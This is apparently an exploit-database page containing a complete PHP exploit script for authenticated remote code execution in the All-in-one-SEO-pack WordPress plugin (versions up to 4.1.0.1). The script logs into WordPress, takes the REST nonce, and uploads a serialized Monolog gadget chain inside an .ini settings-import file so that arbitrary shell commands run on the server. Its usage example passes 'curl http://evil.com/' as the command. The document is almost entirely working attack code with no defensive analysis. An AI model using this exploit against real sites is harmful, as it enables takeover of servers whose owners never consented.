Share
## https://sploitus.com/exploit?id=WPEX-ID:AB2C94D2-F6C4-418B-BD14-711ED164BCF1
<?php
/**
All-in-one-seo-pack wordpress plugin <= 4.1.0.1 authenticated RCE
Author: Vincent MICHEL (@darkpills)
Dev notes:
- Exploit strategy inspiration from https://wpscan.com/vulnerability/10320
- Monolog gadget adapted from phpggc Monolog/RCE1
- Copy/pasted PHPGGC encoding function
*/
// from phpggc Monolog/RCE1 with custom namespace prefix "AIOSEO\Vendor\" to match all-in-one-seo-pack plugin
// ./phpggc -a Monolog/RCE1 shell_exec 'curl http://localhost:4444'
namespace AIOSEO\Vendor\Monolog\Handler
{
class SyslogUdpHandler
{
protected $socket;
function __construct($x)
{
$this->socket = $x;
}
}
class BufferHandler
{
protected $handler;
protected $bufferSize = -1;
protected $buffer;
# ($record['level'] < $this->level) == false
protected $level = null;
protected $initialized = true;
# ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
protected $bufferLimit = -1;
protected $processors;
function __construct($methods, $command)
{
$this->processors = $methods;
$this->buffer = [$command];
$this->handler = clone $this;
}
}
}
namespace {
// Quick and dirty HTTP request call class
class Request {
protected $base_url;
protected $cookiejar;
protected $proxy_host;
protected $proxy_port;
public function __construct($base_url, $proxy = null) {
$this->base_url = $base_url;
$this->cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
if ($proxy) {
$proxy_array = explode(":", $proxy);
$this->proxy_host = $proxy_array[0];
$this->proxy_port = $proxy_array[1];
}
}
public function do($uri, $post = null, $headers = array()) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $this->base_url. $uri);
curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
//curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
//curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
if ($this->proxy_host && $this->proxy_port) {
curl_setopt($ch, CURLOPT_PROXY, $this->proxy_host);
curl_setopt($ch, CURLOPT_PROXYPORT, $this->proxy_port);
}
if ($headers) {
curl_setopt( $ch, CURLOPT_HTTPHEADER, $headers);
}
if ($post) {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}
$content = curl_exec($ch);
if(curl_errno($ch))
{
throw new Exception(sprintf("HTTP Error: %s", curl_error($ch)));
}
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 403) {
throw new Exception(sprintf("HTTP Error: %d: %s\nMake sure you are connected with admin privileges", $http_code, $content));
} else if ($http_code >= 400) {
throw new Exception(sprintf("HTTP Error: %d: %s", $http_code, $content));
}
curl_close($ch);
return $content;
}
}
// Special characters encoding function from phpggc/lib/PHPGGC/Enhancement$ cat ASCIIStrings.php
function process_serialized($serialized)
{
$new = '';
$last = 0;
$current = 0;
$pattern = '#\bs:([0-9]+):"#';
while(
$current < strlen($serialized) &&
preg_match(
$pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current
)
)
{
$p_start = $matches[0][1];
$p_start_string = $p_start + strlen($matches[0][0]);
$length = $matches[1][0];
$p_end_string = $p_start_string + $length;
# Check if this really is a serialized string
if(!(
strlen($serialized) > $p_end_string + 2 &&
substr($serialized, $p_end_string, 2) == '";'
))
{
$current = $p_start_string;
continue;
}
$string = substr($serialized, $p_start_string, $length);
# Convert every special character to its S representation
$clean_string = '';
for($i=0; $i < strlen($string); $i++)
{
$letter = $string[$i];
$clean_string .= ctype_print($letter) && $letter != '\\' ?
$letter :
sprintf("\\%02x", ord($letter));
;
}
# Make the replacement
$new .=
substr($serialized, $last, $p_start - $last) .
'S:' . $matches[1][0] . ':"' . $clean_string . '";'
;
$last = $p_end_string + 2;
$current = $last;
}
$new .= substr($serialized, $last);
return $new;
}
// Banner
echo "-- All-in-one-seo-pack <= 4.1.0.1 authenticated admin RCE --".PHP_EOL;
echo "-- Exploit by Vincent MICHEL (@darkpills) --".PHP_EOL.PHP_EOL;
// Check args
if ($argc < 6) {
echo sprintf("Usage: php %s url login password php_command arguments [proxy]", $argv[0]).PHP_EOL;
echo sprintf("Example: php %s https://mywordpress.site.com admin admin shell_exec 'curl http://evil.com/'", $argv[0]).PHP_EOL;
exit(1);
}
// Check dependencies
if (!extension_loaded("curl")) {
echo "Extension php-curl not loaded!".PHP_EOL;
exit(1);
}
// Settings
$wp_url = $argv[1];
$wp_user = $argv[2];
$wp_pass = $argv[3];
$function = $argv[4];
$parameter = $argv[5];
$proxy = isset($argv[6]) ? $argv[6] : null;
$request = new Request($wp_url, $proxy);
try {
// 1) Log in as admin
echo sprintf("[+] Authenticating to wordpress %s", $wp_url).PHP_EOL;
$request->do("/wp-login.php", [
'log' => $wp_user,
'pwd' => $wp_pass,
'rememberme' => 'forever',
'wp-submit' => 'Log+In',
]);
// 2) GET REST Nonce
echo "[+] Getting WP REST API nonce".PHP_EOL;
$content = $request->do("/wp-admin/post-new.php");
preg_match('/wp\.apiFetch\.createNonceMiddleware\(\s"([^"]+)"\s\)/', $content, $matches);
if (!isset($matches[1])) {
echo sprintf("[!] Nonce not found, are you connected?").PHP_EOL;
exit(1);
}
$restnonce = $matches[1];
echo sprintf("[+] Nonce found: %s", $restnonce).PHP_EOL;
// 3) Upload file to trigger RCE
echo sprintf("[+] Generating POST payload to execute command: %s(\"%s\")", $function, $parameter).PHP_EOL;
// Create the POST payload template
$boundary = uniqid();
$postData = "";
$postData .= "------WebKitFormBoundary".$boundary ."\r\n";
$postData .= "Content-Disposition: form-data; name=\"file\"; filename=\"test.ini\"\r\n";
$postData .= "Content-Type: application/octet-stream\r\n";
$postData .= "\r\n";
$postData .= "[Test]\r\n";
$postData .= "test='%s'\r\n";
$postData .= "\r\n";
$postData .= "------WebKitFormBoundary".$boundary ."--\r\n";
// Create the gadget chain object
$gadgetChain = new \AIOSEO\Vendor\Monolog\Handler\SyslogUdpHandler(
new \AIOSEO\Vendor\Monolog\Handler\BufferHandler(
['current', $function],
[$parameter, 'level' => null]
)
);
// Serialize the object, encode the string, and populate the POST template
$postData = sprintf($postData, process_serialized(serialize($gadgetChain)));
// Append in HTTP headers wordpress nonce from previous request in
$headers = array(
"X-WP-Nonce: $restnonce",
"Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" . $boundary
);
echo "[+] Uploading ini file with import settings".PHP_EOL;
$content = $request->do("/index.php/wp-json/aioseo/v1/settings/import/", $postData, $headers);
echo "[+] Done! Check the result somewhere (blind command execution)".PHP_EOL;
exit(0);
} catch (Exception $e) {
echo sprintf("[!] Error: %s", $e->getMessage()).PHP_EOL;
exit(1);
}
}